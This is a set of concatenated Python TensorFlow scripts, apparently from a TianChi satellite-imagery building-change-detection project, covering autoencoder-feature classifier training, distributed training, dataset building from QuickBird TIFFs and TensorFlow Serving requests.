"/home/zyt/data/TianChi/dataset/20171110/train_data_ubuntu2.pkl", "the directory for train data") flags.DEFINE_string("model_path", "tmp/FC10/", "SaveModel path.") flags.DEFINE_string("model_version", 1, "the version of model") flags.DEFINE_string("save_path", "log/log_FC/", "Model output directory.") FLAGS = flags.FLAGS def train(batch_size=100, lr=0.0002, max_epoches=50): x = tf.placeholder(tf.float32, shape=[None, FLAGS.hidden_size*2]) y = tf.placeholder(tf.float32, shape=[None, 1]) w1 = tf.Variable(tf.truncated_normal(shape=[FLAGS.mid_hidden_size*2, 200], stddev=0.5), name="weight1") b1 = tf.Variable(tf.zeros(shape=[200]), name="bias1") layer1 = tf.nn.relu(tf.matmul(x, w1) + b1) w2 = tf.Variable(tf.truncated_normal(shape=[200, 1], stddev=0.5), name="weight2") b2 = tf.Variable(tf.zeros(shape=[1]), name="bias2") layer2 = tf.matmul(layer1, w2) + b2 pred = tf.sigmoid(layer2) # loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y, logits=pred)) loss = tf.reduce_sum(tf.nn.weighted_cross_entropy_with_logits(targets=y, logits=layer2, pos_weight=59)) tf.summary.scalar("loss", loss) global_step = tf.Variable(0, name="global_step", trainable=False) optimizer = tf.train.GradientDescentOptimizer(lr).minimize(loss, global_step=global_step) correct = (np.abs(y-pred) < 0.1) accuracy = tf.reduce_mean(tf.cast(correct, tf.float32)) tf.summary.scalar("accuracy", accuracy) summary_op = tf.summary.merge_all() init_op = tf.global_variables_initializer() saver = tf.train.Saver() sv = tf.train.Supervisor(logdir=FLAGS.save_path, init_op=init_op, summary_op=summary_op, saver=saver, save_model_secs=600, global_step=global_step) config_proto = tf.ConfigProto(allow_soft_placement=True, log_device_placement=False) input_file = open(FLAGS.data_path, "rb") train_data = pickle.load(input_file) input_file.close() with sv.managed_session(config=config_proto) as sess: for epoch in range(max_epoches): total_loss = 0 total_accuracy = 0 for step, (batch_x, batch_y) in enumerate(produce_images_by_dae.fc_iterator_2(train_data, 100)): _, l, accu = sess.run([optimizer, loss, accuracy], feed_dict={x: batch_x, y: batch_y}) total_loss += l avg_loss = total_loss/(step+1) total_accuracy += accu avg_accu = total_accuracy/(step+1) if step % 50 == 0: print("Epoch %d: at step %d, average loss is %f, accuracy is %f." % (epoch, step, avg_loss, avg_accu)) if FLAGS.save_path: print("Saving model to %s." % FLAGS.save_path) sv.saver.save(sess, FLAGS.save_path, global_step=sv.global_step) print("Save successfully!") # Export tensorflow serving sess.graph._unsafe_unfinalize() export_path = os.path.join(tf.compat.as_bytes(FLAGS.model_path), tf.compat.as_bytes(str(FLAGS.model_version))) builder = saved_model_builder.SavedModelBuilder(export_path) prediction_inputs = {'input': tf.saved_model.utils.build_tensor_info(x)} prediction_outputs = {'output': tf.saved_model.utils.build_tensor_info(pred)} prediction_signature = tf.saved_model.signature_def_utils.build_signature_def( inputs=prediction_inputs, outputs=prediction_outputs, method_name=tf.saved_model.signature_constants.PREDICT_METHOD_NAME ) builder.add_meta_graph_and_variables(sess, [tf.saved_model.tag_constants.SERVING], signature_def_map={ 'predict_signature': prediction_signature, }) sess.graph.finalize() builder.save() print("Done export!") def train2(batch_size=100, lr=0.0002, max_epoches=50): x = tf.placeholder(tf.float32, shape=[None, FLAGS.hidden_size*2]) y = tf.placeholder(tf.float32, shape=[None, 1]) w1 = tf.Variable(tf.truncated_normal(shape=[FLAGS.mid_hidden_size*2, 200], stddev=0.5), name="weight1") b1 = tf.Variable(tf.zeros(shape=[200]), name="bias1") layer1 = tf.nn.relu(tf.matmul(x, w1) + b1) w2 = tf.Variable(tf.truncated_normal(shape=[200, 1], stddev=0.5), name="weight2") b2 = tf.Variable(tf.zeros(shape=[1]), name="bias2") layer2 = tf.matmul(layer1, w2) + b2 pred = tf.sigmoid(layer2) # loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y, logits=pred)) loss = tf.reduce_sum(tf.nn.weighted_cross_entropy_with_logits(targets=y, logits=layer2, pos_weight=59)) tf.summary.scalar("loss", loss) global_step = tf.Variable(0, name="global_step", trainable=False) optimizer = tf.train.GradientDescentOptimizer(lr).minimize(loss, global_step=global_step) correct = (np.abs(y-pred) < 0.05) accuracy = tf.reduce_mean(tf.cast(correct, tf.float32)) tf.summary.scalar("accuracy", accuracy) summary_op = tf.summary.merge_all() init_op = tf.global_variables_initializer() saver = tf.train.Saver() sv = tf.train.Supervisor(logdir=FLAGS.save_path, init_op=init_op, summary_op=summary_op, saver=saver, save_model_secs=600, global_step=global_step) config_proto = tf.ConfigProto(allow_soft_placement=True, log_device_placement=False) FILE_2015 = '/home/zyt/data/TianChi/20171105_quarterfinals/quarterfinals_2015.tif' FILE_2017 = '/home/zyt/data/TianChi/20171105_quarterfinals/quarterfinals_2017.tif' FILE_label = '/home/zyt/data/TianChi/label/label1110.tif' im_2015 = np.array(tiff.imread(FILE_2015).transpose([1, 2, 0]), dtype=np.float32) im_2017 = np.array(tiff.imread(FILE_2017).transpose([1, 2, 0]), dtype=np.float32) label = np.array(tiff.imread(FILE_label), dtype=np.float32) with sv.managed_session(config=config_proto) as sess: for epoch in range(max_epoches): total_loss = 0 total_accuracy = 0 for step, (batch_x, batch_y) in enumerate(produce_images_by_dae.whole_pic_iterator2(im_2015, im_2017, label)): _, l, accu = sess.run([optimizer, loss, accuracy], feed_dict={x: batch_x, y: batch_y}) total_loss += l avg_loss = total_loss/(step+1) total_accuracy += accu avg_accu = total_accuracy/(step+1) if step % 50 == 0: print("Epoch %d: at step %d, average loss is %f, accuracy is %f." % (epoch, step, avg_loss, avg_accu)) if FLAGS.save_path: print("Saving model to %s." % FLAGS.save_path) sv.saver.save(sess, FLAGS.save_path, global_step=sv.global_step) print("Save successfully!") # Export tensorflow serving sess.graph._unsafe_unfinalize() export_path = os.path.join(tf.compat.as_bytes(FLAGS.model_path), tf.compat.as_bytes(str(FLAGS.model_version))) builder = saved_model_builder.SavedModelBuilder(export_path) prediction_inputs = {'input': tf.saved_model.utils.build_tensor_info(x)} prediction_outputs = {'output': tf.saved_model.utils.build_tensor_info(pred)} prediction_signature = tf.saved_model.signature_def_utils.build_signature_def( inputs=prediction_inputs, outputs=prediction_outputs, method_name=tf.saved_model.signature_constants.PREDICT_METHOD_NAME ) builder.add_meta_graph_and_variables(sess, [tf.saved_model.tag_constants.SERVING], signature_def_map={ 'predict_signature': prediction_signature, }) sess.graph.finalize() builder.save() print("Done export!") def main(_): train2() if __name__ == '__main__': tf.app.run() --- FILE SEPARATOR --- import tensorflow as tf import numpy as np import produce_images_by_dae import os import pickle from tensorflow.python.saved_model import builder as saved_model_builder from tensorflow.python.client import device_lib flags = tf.flags flags.DEFINE_integer('hidden_size', 4*4*64, 'the hidden size of image(dae)') flags.DEFINE_string("model_path", "tmp/FC_16_2/", "SaveModel path.") flags.DEFINE_string("model_version", 1, "the version of model") FLAGS = flags.FLAGS def train(batch_size=100, lr=0.00005, max_epoches=200): x = tf.placeholder(tf.float32, shape=[None, FLAGS.hidden_size*2]) y = tf.placeholder(tf.float32, shape=[None, 1]) w1 = tf.Variable(tf.truncated_normal(shape=[FLAGS.mid_hidden_size*2, 200], stddev=0.5), name="weight1") b1 = tf.Variable(tf.zeros(shape=[200]), name="bias1") layer1 = tf.nn.relu(tf.matmul(x, w1) + b1) w2 = tf.Variable(tf.truncated_normal(shape=[200, 1], stddev=0.5), name="weight2") b2 = tf.Variable(tf.zeros(shape=[1]), name="bias2") layer2 = tf.matmul(layer1, w2) + b2 pred = tf.sigmoid(layer2) # loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y, logits=pred)) loss = tf.reduce_sum(tf.nn.weighted_cross_entropy_with_logits(targets=y, logits=layer2, pos_weight=50)) optimizer = tf.train.GradientDescentOptimizer(lr).minimize(loss) correct = (np.abs(y-pred) < 0.1) accuracy = tf.reduce_mean(tf.cast(correct, tf.float32)) init_op = tf.global_variables_initializer() input_file = open("/home/zyt/data/TianChi/dataset/20171024/train_data.pkl", "rb") train_data = pickle.load(input_file) input_file.close() with tf.Session() as sess: sess.run(init_op) for epoch in range(max_epoches): total_loss = 0 total_accuracy = 0 for step, (batch_x, batch_y) in enumerate(produce_images_by_dae.fc_iterator_2(train_data, 100)): _, l, accu = sess.run([optimizer, loss, accuracy], feed_dict={x: batch_x, y: batch_y}) total_loss += l avg_loss = total_loss/(step+1) total_accuracy += accu avg_accu = total_accuracy/(step+1) if step % 50 == 0: print("Epoch %d: at step %d, average loss is %f, accuracy is %f." % (epoch, step, avg_loss, avg_accu)) # Export tensorflow serving export_path = os.path.join(tf.compat.as_bytes(FLAGS.model_path), tf.compat.as_bytes(str(FLAGS.model_version))) builder = saved_model_builder.SavedModelBuilder(export_path) prediction_inputs = {'input': tf.saved_model.utils.build_tensor_info(x)} prediction_outputs = {'output': tf.saved_model.utils.build_tensor_info(pred)} prediction_signature = tf.saved_model.signature_def_utils.build_signature_def( inputs=prediction_inputs, outputs=prediction_outputs, method_name=tf.saved_model.signature_constants.PREDICT_METHOD_NAME ) builder.add_meta_graph_and_variables(sess, [tf.saved_model.tag_constants.SERVING], signature_def_map={ 'predict_signature': prediction_signature, }) builder.save() print("Done export!") def main(_): train() if __name__ == '__main__': tf.app.run() --- FILE SEPARATOR --- # coding=utf-8 import tensorflow as tf import numpy as np import produce_images_by_dae import os import pickle import time from tensorflow.python.saved_model import builder as saved_model_builder from tensorflow.python.client import device_lib flags = tf.flags flags.DEFINE_integer('hidden_size', 4*4*64, 'the hidden size of image(dae)') flags.DEFINE_string("data_path", "/home/zyt/data/TianChi/dataset/20170922/train_data.pkl", "the directory for train data") flags.DEFINE_string("model_path", "tmp/FC_disrtributed/", "SaveModel path.") flags.DEFINE_string("model_version", 1, "the version of model") flags.DEFINE_string("save_path", "log/log_FC/", "Model output directory.") flags.DEFINE_integer("lr", 0.00005, "learning rate") flags.DEFINE_integer("max_epoch", 150, "") flags.DEFINE_integer("steps_of_one_epoch", 850, "") # 指定当前运行的是参数服务器还是计算服务器 flags.DEFINE_string('job_name', '', ' "ps" or "worker" ') # 指定集群中的参数服务器地址 flags.DEFINE_string('ps_hosts', 'zyt-HP:2223', 'Comma-separated list of hostname:port for the parameter server jobs.') # 指定集群中的计算服务器地址 flags.DEFINE_string('worker_hosts', 'zyt-HP:2222, ubuntu1:2222,ubuntu2:2222,ubuntu4:2222', 'Comma-separated list of hostname:port for the worker jobs.') # 指定当前程序的任务index flags.DEFINE_integer('task_index', 0, 'Task ID of the worker/replica running the training.') FLAGS = flags.FLAGS def main(_): # 解析flags并通过tf.train.ClusterSpec配置Tensorflow集群 ps_hosts = FLAGS.ps_hosts.split(',') worker_hosts = FLAGS.worker_hosts.split(',') cluster = tf.train.ClusterSpec({"ps": ps_hosts, "worker": worker_hosts}) # 通过ClusterSpec以及当前任务创建Server server = tf.train.Server( cluster, job_name=FLAGS.job_name, task_index=FLAGS.task_index) # 参数服务器只需要管理Tensorflow中的变量,不需要执行训练的过程。server.join()会一直停在这条语句上 if FLAGS.job_name == 'ps': server.join() elif FLAGS.job_name == 'worker': # worker需要定义计算服务器需要运行的操作。在所有的计算服务器中有一个是主计算服务器,它除了负责计算反向传播的结果,还负责输出日志和保存模型。 input_file = open(FLAGS.data_path, "rb") train_data = pickle.load(input_file) input_file.close() # 通过tf.train.replica_device_setter函数来指定执行每一个运算的设备 # tf.train.replica_device_setter函数会自动将所有的参数分配到参数服务器上,而计算分配到当前的计算服务器上 with tf.device(tf.train.replica_device_setter(worker_device="/job:worker/task:%d" % FLAGS.task_index, cluster=cluster)): x = tf.placeholder(tf.float32, shape=[None, FLAGS.hidden_size*2]) y = tf.placeholder(tf.float32, shape=[None, 1]) w1 = tf.Variable(tf.truncated_normal(shape=[FLAGS.mid_hidden_size*2, 200], stddev=0.5), name="weight1") b1 = tf.Variable(tf.zeros(shape=[200]), name="bias1") layer1 = tf.nn.relu(tf.matmul(x, w1) + b1) w2 = tf.Variable(tf.truncated_normal(shape=[200, 1], stddev=0.5), name="weight2") b2 = tf.Variable(tf.zeros(shape=[1]), name="bias2") layer2 = tf.matmul(layer1, w2) + b2 pred = tf.sigmoid(layer2) loss = tf.reduce_sum(tf.nn.weighted_cross_entropy_with_logits(targets=y, logits=layer2, pos_weight=100)) tf.summary.scalar("loss", loss) global_step = tf.Variable(0, name='global_step', trainable=False) optimizer = tf.train.GradientDescentOptimizer(FLAGS.lr).minimize(loss, global_step=global_step) correct = (np.abs(y-pred) < 0.1) accuracy = tf.reduce_mean(tf.cast(correct, tf.float32)) tf.summary.scalar("accuracy", accuracy) summary_op = tf.summary.merge_all() init_op = tf.global_variables_initializer() saver = tf.train.Saver() # tf.train.Supervisor能统一管理队列操作,模型保存,日志输出以及会话的生成 # is_chief定义当前计算服务器是否为主计算服务器,只有主计算服务器会保存模型以及输出日志 sv = tf.train.Supervisor(is_chief=(FLAGS.task_index == 0), logdir=FLAGS.save_path, init_op=init_op, summary_op=summary_op, saver=saver, save_model_secs=600, global_step=global_step) config_proto = tf.ConfigProto(allow_soft_placement=True, log_device_placement=False) # 通过Supervisor生成会话 sess = sv.prepare_or_wait_for_session(server.target, config=config_proto) max_train_steps = FLAGS.max_epoch * FLAGS.steps_of_one_epoch step = 0 # global epoch = 0 if sv.is_chief: while step < max_train_steps: step = sess.run(global_step) print("time:%f, step is %d." % (time.time(), step)) print(sv.should_stop()) time.sleep(60) # Test test_loss = 0 test_accu = 0 avg_test_loss = 0 avg_test_accu = 0 for batch_id, (batch_x, batch_y) in enumerate(produce_images_by_dae.fc_iterator_2(train_data, 100)): l, accu = sess.run([loss, accuracy], feed_dict={x: batch_x, y: batch_y}) test_loss += l test_accu += accu avg_test_loss = test_loss/(batch_id+1) avg_test_accu = test_accu/(batch_id+1) print("Test: average loss is %f, accuracy is %f." % (avg_test_loss, avg_test_accu)) else: while not sv.should_stop() and step < max_train_steps: try: total_loss = 0 total_accuracy = 0 for batch_id, (batch_x, batch_y) in enumerate(produce_images_by_dae.fc_iterator_2(train_data, 100)): _, l, accu, step = sess.run([optimizer, loss, accuracy, global_step], feed_dict={x: batch_x, y: batch_y}) total_loss += l avg_loss = total_loss/(batch_id+1) total_accuracy += accu avg_accu = total_accuracy/(batch_id+1) if batch_id % 50 == 0: print("Epoch %d: at batch %d(global_step %d) , average loss is %f, accuracy is %f." % (epoch, batch_id, step, avg_loss, avg_accu)) epoch += 1 except Exception as ex: print("wrong:%s" % ex.message) if sv.is_chief: if FLAGS.save_path: print("Saving model to %s." % FLAGS.save_path) sv.saver.save(sess, FLAGS.save_path, global_step=sv.global_step) print("Save successfully!") # Export tensorflow serving sess.graph._unsafe_unfinalize() export_path = os.path.join(tf.compat.as_bytes(FLAGS.model_path), tf.compat.as_bytes(str(FLAGS.model_version))) builder = saved_model_builder.SavedModelBuilder(export_path) prediction_inputs = {'input': tf.saved_model.utils.build_tensor_info(x)} prediction_outputs = {'output': tf.saved_model.utils.build_tensor_info(pred)} prediction_signature = tf.saved_model.signature_def_utils.build_signature_def( inputs=prediction_inputs, outputs=prediction_outputs, method_name=tf.saved_model.signature_constants.PREDICT_METHOD_NAME ) legacy_init_op = tf.group(tf.tables_initializer(), name='legacy_init_op') builder.add_meta_graph_and_variables(sess, [tf.saved_model.tag_constants.SERVING], signature_def_map={ 'predict_signature': prediction_signature, }, clear_devices=True) sess.graph.finalize() builder.save() print("Done export!") sv.stop() if __name__ == '__main__': tf.app.run() --- FILE SEPARATOR --- # coding=utf-8 import tensorflow as tf import numpy as np import tifffile as tiff import pickle import random flags = tf.flags flags.DEFINE_string('FILE_2015', '/home/zyt/data/TianChi/preliminary/quickbird2015.tif', 'the directory to quickbird2015.tif') flags.DEFINE_string('FILE_2017', '/home/zyt/data/TianChi/preliminary/quickbird2017.tif', 'the directory to quickbird2017.tif') flags.DEFINE_string('FILE_cadastral2015', '/home/zyt/data/TianChi/20170907_hint/cadastral2015.tif', 'the directory to cadastral2015.tif') flags.DEFINE_string('FILE_tinysample', '/home/zyt/data/TianChi/20170907_hint/tinysample.tif', 'the directory to tinysample.tif') FLAGS = flags.FLAGS FILE_2015 = '/home/zyt/data/TianChi/preliminary/quickbird2015.tif' FILE_2017 = '/home/zyt/data/TianChi/preliminary/quickbird2017.tif' FILE_cadastral2015 = '/home/zyt/data/TianChi/20170907_hint/cadastral2015.tif' FILE_tinysample = '/home/zyt/data/TianChi/20170907_hint/tinysample.tif' FILE_label = '/home/zyt/data/TianChi/label/label1011.tif' # im_2015 = tiff.imread(FILE_2015).transpose([1, 2, 0]) # im_2017 = tiff.imread(FILE_2017).transpose([1, 2, 0]) # im_tiny = tiff.imread(FILE_tinysample) # im_cada = tiff.imread(FILE_cadastral2015) # im_2015.shape (5106, 15106, 4) # im_2017.shape (5106, 15106, 4) # im_tiny.shape (5106, 15106, 3) # im_cada.shape (5106, 15106) def scale_percentile(matrix): w, h, d = matrix.shape matrix = np.reshape(matrix, [w*h, d]).astype(np.float32) # Get 2nd and 98th percentile mins = np.percentile(matrix, 0, axis=0) maxs = np.percentile(matrix, 100, axis=0) lens = maxs - mins if np.min(lens) == 0: return np.reshape(matrix, [w, h, d]) matrix = (matrix - mins[None, :]) / lens[None, :] matrix = np.reshape(matrix, [w, h, d]) matrix = matrix.clip(0, 1) return matrix def build_dataset(image_size=16, channels=4): im_2015 = np.array(tiff.imread(FILE_2015).transpose([1, 2, 0]), dtype=np.float32) im_2017 = np.array(tiff.imread(FILE_2017).transpose([1, 2, 0]), dtype=np.float32) im_tiny = np.array(tiff.imread(FILE_tinysample), dtype=np.float32) im_label = np.array(tiff.imread(FILE_label), dtype=np.float32) im_cada = np.array(tiff.imread(FILE_cadastral2015), dtype=np.float32) train_2015 = np.zeros([100000, image_size, image_size, channels], dtype=np.float32) train_2017 = np.zeros([100000, image_size, image_size, channels], dtype=np.float32) test_2015 = np.zeros([20000, image_size, image_size, channels], dtype=np.float32) test_2017 = np.zeros([20000, image_size, image_size, channels], dtype=np.float32) train_len = 0 test_len = 0 for xstart, xend in zip(range(0, im_tiny.shape[0]-1, 16), range(image_size, im_tiny.shape[0], 16)): for ystart, yend in zip(range(0, im_tiny.shape[1]-1, 16), range(image_size, im_tiny.shape[1], 16)): tmp_tiny = im_tiny[xstart:xend, ystart:yend, 0] tmp_label = im_label[xstart:xend, ystart:yend] tmp_cada = im_cada[xstart:xend, ystart:yend] if np.max(tmp_label) == 0 and np.max(tmp_tiny) == 0 and np.max(tmp_cada) == 0: tmp_2015 = im_2015[xstart:xend, ystart:yend, :] tmp_2017 = im_2017[xstart:xend, ystart:yend, :] if np.max(tmp_2015) == 0 or np.max(tmp_2017) == 0: continue if train_len < 100000: train_2015[train_len] = scale_percentile(tmp_2015) train_2017[train_len] = scale_percentile(tmp_2017) train_len += 1 elif test_len < 20000: test_2015[test_len] = scale_percentile(tmp_2015) test_2017[test_len] = scale_percentile(tmp_2017) test_len += 1 else: break if train_len >= 100000 and test_len >= 20000: print("build dataset successfully!") break else: print("at now(x is %d), train_len is %d, test_len is %d" % (xstart, train_len, test_len)) del im_2015 del im_2017 del im_cada del im_tiny output_file = open("/home/zyt/data/TianChi/dataset/20171023/train_2015_16*16.pkl", "wb") pickle.dump(train_2015, output_file) output_file.close() del train_2015 print("save train_2015 successfully!") output_file = open("/home/zyt/data/TianChi/dataset/20171023/train_2017_16*16.pkl", "wb") pickle.dump(train_2017, output_file) output_file.close() del train_2017 print("save train_2017 successfully!") output_file = open("/home/zyt/data/TianChi/dataset/20171023/test_2015_16*16.pkl", "wb") pickle.dump(test_2015, output_file) output_file.close() del test_2015 print("save test_2015 successfully!") output_file = open("/home/zyt/data/TianChi/dataset/20171023/test_2017_16*16.pkl", "wb") pickle.dump(test_2017, output_file) output_file.close() print("save test_2017 successfully!") def dae_iterator(batch_size): input_file = open("/home/zyt/data/TianChi/dataset/20171023/train_2015_16*16.pkl", "rb") train_2015 = pickle.load(input_file) input_file.close() input_file = open("/home/zyt/data/TianChi/dataset/20171023/train_2017_16*16.pkl", "rb") train_2017 = pickle.load(input_file) input_file.close() epoch_size = len(train_2015) // batch_size ids = range(epoch_size) random.shuffle(ids) for i in ids: batch_x = train_2015[i*batch_size:(i+1)*batch_size] batch_y = train_2017[i*batch_size:(i+1)*batch_size] yield batch_x, batch_y def test_data(): input_file = open("/home/zyt/data/TianChi/dataset/20171023/test_2015_16*16.pkl", "rb") test_2015 = pickle.load(input_file) input_file.close() input_file = open("/home/zyt/data/TianChi/dataset/20171023/test_2017_16*16.pkl", "rb") test_2017 = pickle.load(input_file) input_file.close() return test_2015[:100], test_2017[:100] def dae_iterator_32(batch_size): input_file = open("/home/zyt/data/TianChi/dataset/20170916/train_2015.pkl", "rb") train_2015 = pickle.load(input_file) input_file.close() input_file = open("/home/zyt/data/TianChi/dataset/20170916/train_2017.pkl", "rb") train_2017 = pickle.load(input_file) input_file.close() epoch_size = len(train_2015) // batch_size ids = range(epoch_size) random.shuffle(ids) for i in ids: batch_x = train_2015[i*batch_size:(i+1)*batch_size] batch_y = train_2017[i*batch_size:(i+1)*batch_size] yield batch_x, batch_y def test_data_32(): input_file = open("/home/zyt/data/TianChi/dataset/20170916/test_2015.pkl", "rb") test_2015 = pickle.load(input_file) input_file.close() input_file = open("/home/zyt/data/TianChi/dataset/20170916/test_2017.pkl", "rb") test_2017 = pickle.load(input_file) input_file.close() return test_2015[:100], test_2017[:100] if __name__ == '__main__': build_dataset() --- FILE SEPARATOR --- import tensorflow as tf import numpy as np import tifffile as tiff FILE_2015 = '/home/zyt/data/TianChi/preliminary/quickbird2015.tif' FILE_2017 = '/home/zyt/data/TianChi/preliminary/quickbird2017.tif' FILE_cadastral2015 = '/home/zyt/data/TianChi/20170907_hint/cadastral2015.tif' FILE_tinysample = '/home/zyt/data/TianChi/20170907_hint/tinysample.tif' # im_2015 = tiff.imread(FILE_2015).transpose([1, 2, 0]) # im_2017 = tiff.imread(FILE_2017).transpose([1, 2, 0]) # im_tiny = tiff.imread(FILE_tinysample) # im_cada = tiff.imread(FILE_cadastral2015) # im_2015.shape (5106, 15106, 4) # im_2017.shape (5106, 15106, 4) # im_tiny.shape (5106, 15106, 3) # im_cada.shape (5106, 15106) def scale_percentile(matrix): w, h, d = matrix.shape matrix = np.reshape(matrix, [w*h, d]).astype(np.float32) # Get 2nd and 98th percentile mins = np.percentile(matrix, 1, axis=0) maxs = np.percentile(matrix, 99, axis=0) lens = maxs - mins matrix = (matrix - mins[None, :]) / lens[None, :] matrix = np.reshape(matrix, [w, h, d]) matrix = matrix.clip(0, 1) return matrix def bulid_dataset(xstart=0, xend=5106, ystart=0, yend=15106): im_2015 = tiff.imread(FILE_2015).transpose([1, 2, 0]) im_2017 = tiff.imread(FILE_2017).transpose([1, 2, 0]) im_tiny = tiff.imread(FILE_tinysample) data_2015 = np.array(im_2015[xstart:xend, ystart:yend, :], dtype=np.float32) data_2015 = scale_percentile(data_2015) data_2017 = np.array(im_2017[xstart:xend, ystart:yend, :], dtype=np.float32) data_2017 = scale_percentile(data_2017) inputs = data_2017 - data_2015 inputs = np.reshape(inputs, [-1, 4]) data_tiny = np.array(im_tiny[xstart:xend, ystart:yend, 0], dtype=np.int64) data_tiny = np.reshape(data_tiny, [-1, 1]) data_tiny[data_tiny > 0] = 1 labels = np.zeros(shape=(len(data_tiny), 2)) for i in range(len(data_tiny)): labels[i, data_tiny[i]] = 1 return inputs, labels def bulid_dataset_singleChannel(xstart=0, xend=5106, ystart=0, yend=15106): im_2015 = tiff.imread(FILE_2015).transpose([1, 2, 0]) im_2017 = tiff.imread(FILE_2017).transpose([1, 2, 0]) im_tiny = tiff.imread(FILE_tinysample) data_2015 = np.array(im_2015[xstart:xend, ystart:yend, 2:], dtype=np.float32) data_2017 = np.array(im_2017[xstart:xend, ystart:yend, 2:], dtype=np.float32) inputs = data_2017 - data_2015 inputs = np.reshape(inputs, [-1, 2]) data_tiny = np.array(im_tiny[xstart:xend, ystart:yend, 0], dtype=np.int32) data_tiny = np.reshape(data_tiny, [-1, 1]) data_tiny[data_tiny > 0] = 1 labels = np.zeros(shape=(len(data_tiny), 2)) for i in range(len(data_tiny)): labels[i, data_tiny[i]] = 1 return inputs, labels --- FILE SEPARATOR --- # coding=utf-8 from __future__ import print_function import pickle from grpc.beta import implementations import numpy as np import tensorflow as tf import pandas as pd import tifffile as tiff import random from tensorflow_serving.apis import predict_pb2 from tensorflow_serving.apis import prediction_service_pb2 tf.app.flags.DEFINE_string('server', 'localhost:6007', 'predictionService host:port') tf.app.flags.DEFINE_integer('image_size', 32, '') tf.app.flags.DEFINE_integer('batch_size', 1, '') tf.app.flags.DEFINE_integer('mid_hidden_size', 4*4*64, '') tf.app.flags.DEFINE_integer('channels', 4, '') FLAGS = tf.app.flags.FLAGS def scale_percentile(matrix): w, h, d = matrix.shape matrix = np.reshape(matrix, [w*h, d]).astype(np.float32) # Get 2nd and 98th percentile mins = np.percentile(matrix, 0, axis=0) maxs = np.percentile(matrix, 100, axis=0) lens = maxs - mins if np.min(lens) == 0: return np.reshape(matrix, [w, h, d]) matrix = (matrix - mins[None, :]) / lens[None, :] matrix = np.reshape(matrix, [w, h, d]) matrix = matrix.clip(0, 1) return matrix def dae_server(raw_image): host, port = FLAGS.server.split(':') channel = implementations.insecure_channel(host, int(port)) stub = prediction_service_pb2.beta_create_PredictionService_stub(channel) # Send request request = predict_pb2.PredictRequest() request.model_spec.name = 'dae' request.model_spec.signature_name = 'predict_signature' request.inputs['input'].CopyFrom(tf.contrib.util.make_tensor_proto(raw_image, shape=[FLAGS.batch_size, FLAGS.image_size, FLAGS.image_size, FLAGS.channels])) result = stub.Predict(request, 10.0) return result.outputs['mid_hidden'].float_val def dae_server_from_saver(raw_image): tmp_graph = tf.Graph() with tmp_graph.as_default(): ckpt = tf.train.get_checkpoint_state("/home/zyt/data/TianChi/DAE/log/log15_17_32/") saver = tf.train.import_meta_graph(ckpt.model_checkpoint_path+'.meta') with tf.Session() as sess: saver.restore(sess, ckpt.model_checkpoint_path) mid_hidden = sess.run(tf.get_default_graph().get_tensor_by_name('max_pooling2d_3/MaxPool:0'), feed_dict={'inputs:0': raw_image}) return mid_hidden def build_dataset(): FILE_2015 = '/home/zyt/data/TianChi/preliminary/quickbird2015.tif' FILE_2017 = '/home/zyt/data/TianChi/preliminary/quickbird2017.tif' FILE_label = '/home/zyt/data/TianChi/label/label.tif' im_2015 = np.array(tiff.imread(FILE_2015).transpose([1, 2, 0]), dtype=np.float32) im_2017 = np.array(tiff.imread(FILE_2017).transpose([1, 2, 0]), dtype=np.float32) building = np.array(tiff.imread(FILE_label), dtype=np.float32) image_size = FLAGS.image_size channels = FLAGS.channels mid_hidden_size = FLAGS.mid_hidden_size # 2200:4600, 400:2800 tiny_2015 = im_2015[2200:4600, 400:2800, :] tiny_2017 = im_2017[2200:4600, 400:2800, :] tiny_building = building[2200:4600, 400:2800] # 2800:3500, 5600:6000 tiny_2015_1 = im_2015[2800:3500, 5600:6000, :] tiny_2017_1 = im_2017[2800:3500, 5600:6000, :] tiny_building_1 = building[2800:3500, 5600:6000] # 600:1800, 10200:11200 tiny_2015_2 = im_2015[600:1800, 10200:11200, :] tiny_2017_2 = im_2017[600:1800, 10200:11200, :] tiny_building_2 = building[600:1800, 10200:11200] # 4000:4800, 900:2100 tiny_2015_3 = im_2015[4000:4800, 900:2100, :] tiny_2017_3 = im_2017[4000:4800, 900:2100, :] tiny_building_3 = building[4000:4800, 900:2100] # 400:800, 2500:3000 tiny_2015_4 = im_2015[400:800, 2500:3000, :] tiny_2017_4 = im_2017[400:800, 2500:3000, :] tiny_building_4 = building[400:800, 2500:3000] dataset_len = 0 for xstart, xend in zip(range(0, tiny_2015.shape[0], 8), range(image_size, tiny_2015.shape[0], 8)): for ystart, yend in zip(range(0, tiny_2015.shape[1], 8), range(image_size, tiny_2015.shape[1], 8)): dataset_len += 1 train_x = np.zeros([dataset_len, mid_hidden_size*2]) train_y = np.zeros([dataset_len, 1]) # 1--if has building, 0-- if no building print("start building......") ids = 0 for xstart, xend in zip(range(0, tiny_2015.shape[0], 8), range(image_size, tiny_2015.shape[0], 8)): for ystart, yend in zip(range(0, tiny_2015.shape[1], 8), range(image_size, tiny_2015.shape[1], 8)): image_2015 = np.array(scale_percentile(tiny_2015[xstart:xend, ystart:yend, :]), dtype=np.float32) hidden_2015 = dae_server(image_2015) image_2017 = np.array(scale_percentile(tiny_2017[xstart:xend, ystart:yend, :]), dtype=np.float32) hidden_2017 = dae_server(image_2017) train_x[ids, 0:mid_hidden_size] = np.reshape(hidden_2015, [mid_hidden_size]) train_x[ids, mid_hidden_size:] = np.reshape(hidden_2017, [mid_hidden_size]) labels = tiny_building[xstart:xend, ystart:yend] if np.sum(labels) >= (32*32/2): train_y[ids] = 1 else: train_y[ids] = 0 ids += 1 dataset = {"train_x": train_x, "train_y": train_y} output_file = open("/home/zyt/data/TianChi/dataset/20171026/train_data_3.pkl", "wb") pickle.dump(dataset, output_file) output_file.close() print("build dataset successfully!") def build_dataset_2(): FILE_2015 = '/home/zyt/data/TianChi/preliminary/quickbird2015.tif' FILE_2017 = '/home/zyt/data/TianChi/preliminary/quickbird2017.tif' FILE_pos_label = '/home/zyt/data/TianChi/label/pos_label.tif' FILE_label = '/home/zyt/data/TianChi/label/label.tif' FILE_my_label = '/home/zyt/data/TianChi/label/label1023.tif' im_2015 = np.array(tiff.imread(FILE_2015).transpose([1, 2, 0]), dtype=np.float32) im_2017 = np.array(tiff.imread(FILE_2017).transpose([1, 2, 0]), dtype=np.float32) label = np.array(tiff.imread(FILE_label), dtype=np.float32) my_label = np.array(tiff.imread(FILE_my_label), dtype=np.float32) 